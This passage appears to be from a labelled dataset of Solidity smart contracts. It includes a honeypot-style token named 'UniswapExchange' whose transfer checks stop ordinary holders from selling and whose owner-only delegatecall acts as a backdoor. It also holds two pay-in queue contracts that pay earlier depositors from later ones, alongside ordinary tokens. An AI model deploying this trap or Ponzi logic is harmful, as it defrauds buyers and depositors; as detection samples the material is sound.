require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,320 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract QuadransToken is ERC20, ERC20Detailed, ERC20Pausable, ERC20Capped {
using SafeERC20 for ERC20;
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 600000000 * (10 ** uint256(DECIMALS));
constructor () public ERC20Capped(INITIAL_SUPPLY) ERC20Detailed("QuadransToken", "QDT", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0 | 782 |
pragma solidity ^0.4.18;
contract MyAdvancedToken8 {
address public owner;
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
event Deposit(address from, uint256 value);
string public standard = 'ERC-Token 1.0';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function transferOwnership(address newOwner) public {
if (msg.sender != owner) revert();
owner = newOwner;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function MyAdvancedToken8(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) public
{
owner = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) public {
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (frozenAccount[msg.sender]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (frozenAccount[_from]) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) public {
if (msg.sender != owner) revert();
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) public {
if (msg.sender != owner) revert();
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public {
if (msg.sender != owner) revert();
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
if (balanceOf[this] < amount) revert();
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
bool sendSUCCESS = false;
if (balanceOf[msg.sender] < amount ) revert();
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
sendSUCCESS = msg.sender.send(amount * sellPrice);
if (!sendSUCCESS) {
revert();
} else {
Transfer(msg.sender, this, amount);
}
}
function() payable public {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
} | 0 | 521 |
pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DreamTokensVesting {
using SafeMath for uint256;
ERC20TokenInterface public dreamToken;
address public withdrawAddress;
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
VestingStage[5] public stages;
uint256 public vestingStartTimestamp = 1529398800;
uint256 public initialTokensBalance;
uint256 public tokensSent;
event Withdraw(uint256 amount, uint256 timestamp);
modifier onlyWithdrawAddress () {
require(msg.sender == withdrawAddress);
_;
}
constructor (ERC20TokenInterface token, address withdraw) public {
dreamToken = token;
withdrawAddress = withdraw;
initVestingStages();
}
function () external {
withdrawTokens();
}
function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
if (tokensUnlockedPercentage >= 100) {
tokensToSend = dreamToken.balanceOf(this);
} else {
tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) {
return (stages[index].date, stages[index].tokensUnlockedPercentage);
}
function initVestingStages () internal {
uint256 halfOfYear = 183 days;
uint256 year = halfOfYear * 2;
stages[0].date = vestingStartTimestamp;
stages[1].date = vestingStartTimestamp + halfOfYear;
stages[2].date = vestingStartTimestamp + year;
stages[3].date = vestingStartTimestamp + year + halfOfYear;
stages[4].date = vestingStartTimestamp + year * 2;
stages[0].tokensUnlockedPercentage = 25;
stages[1].tokensUnlockedPercentage = 50;
stages[2].tokensUnlockedPercentage = 75;
stages[3].tokensUnlockedPercentage = 88;
stages[4].tokensUnlockedPercentage = 100;
}
function withdrawTokens () onlyWithdrawAddress private {
if (initialTokensBalance == 0) {
setInitialTokensBalance();
}
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
}
function setInitialTokensBalance () private {
initialTokensBalance = dreamToken.balanceOf(this);
}
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend > 0) {
tokensSent = tokensSent.add(tokensToSend);
dreamToken.transfer(withdrawAddress, tokensToSend);
emit Withdraw(tokensToSend, now);
}
}
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
}
contract ProTeamsAndTournamentOrganizersVesting is DreamTokensVesting {
constructor(ERC20TokenInterface token, address withdraw) DreamTokensVesting(token, withdraw) public {}
} | 0 | 522 |
pragma solidity ^0.4.24;
contract XKnockoutRegular2 {
using SafeMath for uint256;
struct EntityStruct {
bool active;
bool vip;
uint listPointer;
uint256 date;
uint256 update;
uint256 exit;
uint256 profit;
}
mapping(address => EntityStruct) public entityStructs;
address[] public entityList;
address[] public vipList;
address dev;
uint256 base = 500000000000000000;
uint256 public startedAt = now;
uint256 public timeRemaining = 24 hours;
uint256 public devreward;
uint public round = 1;
uint public shift = 0;
uint public joined = 0;
uint public exited = 0;
bool public timetoRegular = true;
constructor() public {
dev = msg.sender;
}
function() public payable {
if(!checkRemaining()) {
if(msg.value == base) {
addToList();
} else if(msg.value == base.div(10)) {
up();
} else {
revert("Send 0.5 ETH to join the list or 0.05 ETH to up");
}
}
}
function addToList() internal {
if(entityStructs[msg.sender].active) revert("You are already in the list");
newEntity(msg.sender, true);
joined++;
startedAt = now;
entityStructs[msg.sender].date = now;
entityStructs[msg.sender].profit = 0;
entityStructs[msg.sender].update = 0;
entityStructs[msg.sender].exit = 0;
entityStructs[msg.sender].active = true;
entityStructs[msg.sender].vip = false;
if(timetoRegular) {
entityStructs[entityList[shift]].profit += base;
if(entityStructs[entityList[shift]].profit == 2*base) {
exitREG();
}
} else {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].profit += base;
if(entityStructs[vipList[lastVIP]].profit == 2*base) {
exitVIP(vipList[lastVIP]);
}
}
}
function up() internal {
if(joined.sub(exited) < 3) revert("You are too alone to up");
if(!entityStructs[msg.sender].active) revert("You are not in the list");
if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min");
if(!entityStructs[msg.sender].vip) {
uint rowToDelete = entityStructs[msg.sender].listPointer;
address keyToMove = entityList[entityList.length-1];
entityList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
entityList.length--;
entityStructs[msg.sender].update = now;
entityStructs[msg.sender].vip = true;
newVip(msg.sender, true);
devreward += msg.value;
} else if (entityStructs[msg.sender].vip) {
entityStructs[msg.sender].update = now;
delete vipList[entityStructs[msg.sender].listPointer];
newVip(msg.sender, true);
devreward += msg.value;
}
}
function newEntity(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].active = entityData;
entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1;
return true;
}
function exitREG() internal returns(bool success) {
entityStructs[entityList[shift]].active = false;
entityStructs[entityList[shift]].exit = now;
entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) );
devreward += entityStructs[entityList[shift]].profit.mul(10).div(100);
exited++;
delete entityList[shift];
shift++;
if(lastVIPkey() != 9999) {
timetoRegular = false;
}
return true;
}
function newVip(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].vip = entityData;
entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1;
return true;
}
function exitVIP(address entityAddress) internal returns(bool success) {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].active = false;
entityStructs[vipList[lastVIP]].exit = now;
vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) );
devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100);
uint rowToDelete = entityStructs[entityAddress].listPointer;
address keyToMove = vipList[vipList.length-1];
vipList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
vipList.length--;
exited++;
timetoRegular = true;
return true;
}
function lastREGkey() public constant returns(uint) {
if(entityList.length == 0) return 9999;
if(shift == entityList.length) return 9999;
uint limit = entityList.length-1;
for(uint l=limit; l >= 0; l--) {
if(entityList[l] != address(0)) {
return l;
}
}
return 9999;
}
function lastVIPkey() public constant returns(uint) {
if(vipList.length == 0) return 9999;
uint limit = vipList.length-1;
for(uint j=limit; j >= 0; j--) {
if(vipList[j] != address(0)) {
return j;
}
}
return 9999;
}
function checkRemaining() public returns (bool) {
if(now >= timeRemaining.add(startedAt)) {
if(lastVIPkey() != 9999) {
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
entityStructs[vipList[l]].active = false;
entityStructs[vipList[l]].vip = false;
entityStructs[vipList[l]].date = 0;
}
if(l == 0) break;
}
}
if(lastREGkey() != 9999) {
for(uint r = shift; r <= entityList.length-1; r++) {
entityStructs[entityList[r]].active = false;
entityStructs[entityList[r]].date = 0;
}
}
rewardDev();
if(address(this).balance.sub(devreward) > 0) {
if(lastVIPkey() != 9999) {
vipList[lastVIPkey()].transfer(address(this).balance);
}
}
vipList.length=0;
entityList.length=0;
shift = 0;
startedAt = now;
timeRemaining = 24 hours;
timetoRegular = true;
exited = joined = 0;
round++;
return true;
}
uint range = joined.sub(exited).div(100);
if(range != 0) {
timeRemaining = timeRemaining.div(range.mul(2));
}
return false;
}
function rewardDev() public {
dev.transfer(devreward);
devreward = 0;
}
function queueVIP() public view returns (address[]) {
return vipList;
}
function queueREG() public view returns (address[]) {
return entityList;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,049 |
pragma solidity ^0.4.25;
contract Smartolution {
struct User {
uint value;
uint index;
uint atBlock;
}
mapping (address => User) public users;
uint public total;
uint public advertisement;
uint public team;
address public teamAddress;
address public advertisementAddress;
constructor(address _advertisementAddress, address _teamAddress) public {
advertisementAddress = _advertisementAddress;
teamAddress = _teamAddress;
}
function () public payable {
require(msg.value == 0.00001111 ether || (msg.value >= 0.01 ether && msg.value <= 5 ether), "Min: 0.01 ether, Max: 5 ether, Exit: 0.00001111 eth");
User storage user = users[msg.sender];
if (msg.value != 0.00001111 ether) {
total += msg.value;
advertisement += msg.value / 30;
team += msg.value / 200;
if (user.value == 0) {
user.value = msg.value;
user.atBlock = block.number;
user.index = 1;
} else {
require(block.number - user.atBlock >= 5900, "Too soon, try again later");
uint idx = ++user.index;
uint amount = msg.value > user.value ? user.value : msg.value;
if (idx == 45) {
user.value = 0;
} else {
if (block.number - user.atBlock - 5900 < 984) {
user.atBlock += 5900;
} else {
user.atBlock = block.number - 984;
}
}
msg.sender.transfer(amount * idx * idx * (24400 - 500 * amount / 1 ether) / 10000000);
}
} else {
require(user.index <= 10, "It's too late to request a refund at this point");
msg.sender.transfer(user.index * user.value * 70 / 100);
user.value = 0;
}
}
function claim(uint amount) public {
if (msg.sender == advertisementAddress) {
require(amount > 0 && amount <= advertisement, "Can't claim more than was reserved");
advertisement -= amount;
msg.sender.transfer(amount);
} else
if (msg.sender == teamAddress) {
require(amount > 0 && amount <= team, "Can't claim more than was reserved");
team -= amount;
msg.sender.transfer(amount);
}
}
} | 1 | 2,939 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length >= numWords * 32 + 4);
_;
}
}
contract Token {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token, SafeMath {
uint256 public totalSupply;
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) onlyPayloadSize(3) returns (bool success) {
require(allowed[msg.sender][_spender] == _oldValue);
allowed[msg.sender][_spender] = _newValue;
Approval(msg.sender, _spender, _newValue);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
}
contract STC is StandardToken {
string public name = "SmarterThanCrypto";
string public symbol = "STC";
uint256 public decimals = 18;
string public version = "10.0";
uint256 public tokenCap = 100000000 * 10**18;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
address public vestingContract;
bool private vestingSet = false;
address public fundWallet;
address public controlWallet;
uint256 public waitTime = 1 hours;
bool public halted = false;
bool public tradeable = false;
uint256 public previousUpdateTime = 0;
Price public currentPrice;
uint256 public minAmount = 0.04 ether;
uint256 public OfferTime = 2592000;
mapping (address => Withdrawal) public withdrawals;
mapping (uint256 => Price) public prices;
mapping (address => bool) public whitelist;
struct Price {
uint256 numerator;
uint256 denominator;
}
struct Withdrawal {
uint256 tokens;
uint256 time;
}
event Buy(address indexed participant, address indexed beneficiary, uint256 ethValue, uint256 amountTokens);
event AllocatePresale(address indexed participant, uint256 amountTokens);
event Whitelist(address indexed participant);
event PriceUpdate(uint256 numerator, uint256 denominator);
event AddLiquidity(uint256 ethAmount);
event RemoveLiquidity(uint256 ethAmount);
event WithdrawRequest(address indexed participant, uint256 amountTokens);
event Withdraw(address indexed participant, uint256 amountTokens, uint256 etherAmount);
modifier isTradeable {
require(tradeable || msg.sender == fundWallet || msg.sender == vestingContract);
_;
}
modifier onlyWhitelist {
require(whitelist[msg.sender]);
_;
}
modifier onlyFundWallet {
require(msg.sender == fundWallet);
_;
}
modifier onlyManagingWallets {
require(msg.sender == controlWallet || msg.sender == fundWallet);
_;
}
modifier only_if_controlWallet {
if (msg.sender == controlWallet) _;
}
modifier require_waited {
require(safeSub(now, waitTime) >= previousUpdateTime);
_;
}
modifier only_if_increase (uint256 newNumerator) {
if (newNumerator > currentPrice.numerator) _;
}
function STC(address controlWalletInput, uint256 priceNumeratorInput, uint256 startTimeInput, uint256 endTimeInput) public {
require(controlWalletInput != address(0));
require(priceNumeratorInput > 0);
require(endTimeInput > startTimeInput);
fundWallet = msg.sender;
controlWallet = controlWalletInput;
whitelist[fundWallet] = true;
whitelist[controlWallet] = true;
currentPrice = Price(priceNumeratorInput, 10000);
fundingStartTime = startTimeInput;
fundingEndTime = endTimeInput;
previousUpdateTime = now;
}
function setOfferTime(uint256 newOfferTime) external onlyFundWallet {
require(newOfferTime>0);
require(newOfferTime<safeSub(fundingEndTime,fundingStartTime));
OfferTime = newOfferTime;
}
function setVestingContract(address vestingContractInput) external onlyFundWallet {
require(vestingContractInput != address(0));
vestingContract = vestingContractInput;
whitelist[vestingContract] = true;
vestingSet = true;
}
function updatePrice(uint256 newNumerator) external onlyManagingWallets {
require(newNumerator > 0);
require_limited_change(newNumerator);
currentPrice.numerator = newNumerator;
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = now;
PriceUpdate(newNumerator, currentPrice.denominator);
}
function require_limited_change (uint256 newNumerator)
private
only_if_controlWallet
require_waited
only_if_increase(newNumerator)
{
uint256 percentage_diff = 0;
percentage_diff = safeMul(newNumerator, 10000) / currentPrice.numerator;
